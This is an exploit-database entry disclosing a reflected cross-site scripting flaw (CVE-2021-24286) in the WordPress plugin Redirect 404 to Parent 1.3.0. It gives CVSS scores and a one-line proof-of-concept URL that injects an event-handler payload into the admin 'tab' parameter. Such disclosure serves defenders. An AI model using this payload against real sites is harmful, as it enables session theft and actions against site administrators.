WordPress Redirect 404 To Parent 1.3.0 Cross Site Scripting

2021-09-2900:00:00

0xB9

packetstormsecurity.com

144

6.1 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

4.3 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

JSON

`# Exploit Title: WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting (XSS)  
# Date: 2/3/2021  
# Author: 0xB9  
# Software Link: https://downloads.wordpress.org/plugin/redirect-404-to-parent.1.3.0.zip  
# Version: 1.3.0  
# Tested on: Windows 10  
# CVE: CVE-2021-24286  
  
1. Description:  
This plugin redirects any 404 request to the parent URL. The tab parameter in the Admin Panel is vulnerable to XSS.  
  
2. Proof of Concept:  
wp-admin/options-general.php?page=moove-redirect-settings&tab="+style=animation-name:rotation+onanimationstart="alert(/XSS/);  
`